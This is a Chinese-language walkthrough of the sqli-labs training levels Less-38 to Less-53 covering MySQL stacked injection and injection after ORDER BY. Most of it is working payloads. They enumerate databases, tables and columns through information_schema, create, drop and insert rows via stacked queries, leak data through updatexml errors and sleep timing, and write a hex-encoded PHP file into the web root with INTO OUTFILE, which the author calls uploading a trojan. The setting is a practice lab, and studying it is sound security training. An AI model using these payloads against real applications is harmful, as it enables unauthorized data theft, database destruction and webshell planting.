第三部分主要是堆叠注入。

前言

浅浅地将mysql的堆叠语句列一下。

Stacked injections:堆叠注入

堆叠注入:可以执行多条sql语句,语句之间以分号隔开。

堆叠注入实现数据库的增删查改操作:

MySQL:

(1)新建一个表

1
Select * from users where id=1;create table test like users;

(2)删除表

1
Select * from users where id=1;drop table test;

(3)查询数据

1
Select * from users where id=1;select 1,2,3;

(4)加载文件

1
Select * from users where id=1;select load_file('C:/1.php');

(5)修改数据

1
Select * from users where id=1;insert into users(id,username,password) values('100','new','new');

普通堆叠注入(Less-38~Less-45)

Less-38

前面的步骤还是来一遍。

采用union联合查询:

①判断字段数

当查到4时,报错,说明字段数为3位。

1
2
3
payload:

id=1' order by 4--+

②判断注入点

1
2
3
payload:

id=-1' union select 1,2,3--+

得到注入点为2和3。

③获得数据库名

1
2
3
payload:

id=-1' union select 1,2,database()--+

得到数据库名为security。

④获得表名

1
2
3
payload:

id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

得到用户表名为users。

⑤获得列名

1
2
3
payload:

id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+

得到几个有用的列名:id,username,password

进入正文啦。

38.1增加一个表格test

1
2
3
payload:

id=1';create table test like users--+

38.2删除表格test

1
2
3
payload:

id=1';drop table test--+

38.3在表中实现增加语句

1
2
3
payload:

id=1';insert into users(id,username,password) values('38','Less38','Less38')--+

可以在数据库中,看到此时users表中已经成功插入一列:

Less-39

本关和第三十八一样,只需要将第三十八的单引号去掉即可。

在users表中插入一列数据:

1
2
3
payload:

id=1;insert into users(id,username,password) values('39','Less39','Less39')--+

可以在数据库中,看到此时users表中已经成功插入一列:

Less-40

本关和第三十八一样,只需要将第三十八关的’改为’)即可

在users表中插入一列数据:

1
2
3
payload:

id=1'); insert into users(id,username,password) values('40','Less-40','Less-40')--+

可以在数据库中,看到此时users表中已经成功插入一列:

Less-41

此处与 less-39 是一致的,区别在于 41 错误不回显。所以我们称之为盲注。

在users表中插入一列数据:

1
2
3
payload:

id=1;insert into users(id,username,password) values('41','Less41','Less41')--+

可以在数据库中,看到此时users表中已经成功插入一列:

Less-42

分析源代码后,得知password 变量在 post 过程中,没有通过 mysql_real_escape_string()函数的处理。因此在登录

的时候密码选项我们可以进行攻击。

42.1创建一个名为Less42的表格

1
2
3
登录框可以随意输入,甚至可以不输

密码框:1';create table Less42 like users#

这里要注意一下,表名不能是纯数字,不然创建不了的哦。

可以看到已经成功将Less42的表添加:

42.2删除名为Less42的表

1
2
3
登录框可以随意输入,甚至可以不输

密码框:1';drop table Less42#

可以看到已经成功将Less42的表删除:

42.3在users表中插入一行数据

1
2
3
登录框可以随意输入,甚至可以不输

密码框:1';insert into users(id,username,password) values('42','Less42','Less42')#

可以看到已经成功在users表中添加了一列:

Less-43

本关和第四十二关原理一致,只需要将第四十二关的’换成’)即可。

创建一个名为Less43的表格

1
2
3
登录框可以随意输入,甚至可以不输

密码框:1');create table Less43 like users#
这里要注意一下,表名不能是纯数字,不然创建不了的哦。

可以看到已经成功将Less43的表添加:

Less-44

这关与 42 关的区别就在于没有报错信息,但是跟我们用堆叠注入没有什么关系,所以我们可以使用同样方式的 payload。

在users表中插入一行数据

1
2
3
登录框可以随意输入,甚至可以不输

密码框:1';insert into users(id,username,password) values('44','Less44','Less44')#

可以看到已经成功在users表中添加了一列:

Less-45

同样的,45 关与 43 关的 payload 是一样的,只不过 45 关依旧没有报错。

创建一个名为Less45的表格

1
2
3
登录框可以随意输入,甚至可以不输

密码框:1');create table Less45 like users#

这里要注意一下,表名不能是纯数字,不然创建不了的哦。

可以看到已经成功将Less45的表添加:

order by后的注入(Less-46~Less-49)

一般来说,尝试?sort=1 desc和?sort=1 asc

如果显示结果不同,则表明可以注入。

(其中,desc表示降序排列 ,asc表示升序排列,默认是asc。)

(1)order by后的数字可以作为一个注入点

①直接添加语句,?sort=(select……)

②利用一些函数。例如rand()函数等。?sort=rand(sql语句)

③利用and,例如?sort=1 and (加sql语句)

(2)procedure analyse参数后注入

1
例如:sort=1 procedure analyse(sql语句)

(3)导入导出文件into outfile参数

将查询结果导入到文件当中:

1
例如:?sort=1 into outfile "C:\\phpstudy\\www\\sqli\\a.txt"

利用lines terminated by,上传木马:

1
?sort=1 into outfile C:\\phpstudy\\www\\a.txt lines terminated by 0x(木马进行十六进制转换)

Less-46

关于order by后的一些参数进行注入:

本关的 sql 语句为:

1
$sql = "SELECT * FROM users ORDER BY $id";

尝试?sort=1 desc和?sort=1 asc

如果显示结果不同,则表明可以注入。

并且,我们的注入点在 order by 后面的参数中,order by后为数字。

(1)利用报错注入

①获得数据库用户名

1
2
3
4
5
6
7
8
9
10
11
payload:

?sort=(updatexml(1,concat(0x7e,user(),0x7e),1))

或者

?sort=rand(updatexml(1,concat(0x7e,user(),0x7e),1))

或者

?sort=1 and (updatexml(1,concat(0x7e,user(),0x7e),1))

②获得数据库名

1
2
3
4
5
6
7
8
9
10
11
payload:

?sort=(updatexml(1,concat(0x7e,database(),0x7e),1))

或者

?sort=rand(updatexml(1,concat(0x7e,database(),0x7e),1))

或者

?sort=1 and (updatexml(1,concat(0x7e,database(),0x7e),1))

(2)利用延时注入

1
2
3
payload:

sort=1 and (if(substr(user(),1,1)='a',sleep(5),0))

这里可以用burp对字符a爆破,得到数据库名第一个字符为s。

(3)导入导出文件 into outfile 参数

1
2
3
payload:

sort=1 into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-46\\test.txt"--+

此时查询结果已经导入到test.txt文件当中了:

(4)利用 lines terminated by上传木马

1
2
3
4
5
将<?php phpinfo();?>转换为十六进制:3c3f70687020706870696e666f28293b3f3e

payload:

sort=1 into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-47\\test.php"lines terminated by 0x3c3f70687020706870696e666f28293b3f3e--+

此时,可以成功访问text.php:

Less-47

本关的 sql 语句为:

1
$sql = "SELECT * FROM users ORDER BY '$id'";

本关order by后为字符。

(1)利用报错注入

①获得数据库用户名

1
2
3
payload:

sort=1' and (updatexml(1,concat(0x7e,user(),0x7e),1))--+

②获得数据库名

1
2
3
payload:

sort=1' and (updatexml(1,concat(0x7e,database(),0x7e),1))--+

(2)利用延时注入

1
2
3
payload:

sort=1' and (if(substr(user(),1,1)='a',sleep(5),0))--+

这里可以用burp对字符a爆破,得到数据库用户名第一个字符为r。

(3)导入导出文件 into outfile 参数

1
2
3
payload:

sort=1'into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-47\\test.txt"--+

此时查询结果已经导入到test.txt文件当中了:

(4)利用 lines terminated by上传木马

1
2
3
4
5
将<?php phpinfo();?>转换为十六进制:3c3f70687020706870696e666f28293b3f3e

payload:

sort=1'into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-47\\test.php"lines terminated by 0x3c3f70687020706870696e666f28293b3f3e--+

此时,可以成功访问text.php:

Less-48

本关与Less-46的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。

Less-49

本关与Less-47关基本类似,区别在于没有错误回显,所以我们可以通过延时注入和导入文件进行注入。

order by的堆叠注入(Less-50~Less53)

Less-50

前面关卡用的方法都可行。

这里就只主要看堆叠的增删操作吧。

50.1添加一个表格

1
2
3
payload:

sort=1;create table Less50 like users

可以看到已经成功添加了表格Less50:

50.2删除一个表格

1
2
3
payload:

sort=1;drop table Less50

可以看到已经成功删除了表格Less50:

Less-51

跟Less-50差不多。只是多了个单引号,后面记得加注释符。

添加一个表格:

1
2
3
payload:

sort=1';create table Less51 like users--+

可以看到已经成功添加了表格Less51:

Less-52

和 less50 是一样的,只是这里的 mysql 错误不会在前台显示,但是对于堆叠注入是一样的利用方式。

添加一个表格:

1
2
3
payload:

sort=1;create table Less52 like users

可以看到已经成功添加了表格Less52:

Less-53

和 less51 是一样的,只是这里的 mysql 错误不会在前台显示,但是对于堆叠注入是一样的利用方式。

添加一个表格:

1
2
3
payload:

sort=1';create table Less53 like users--+

可以看到已经成功添加了表格Less53: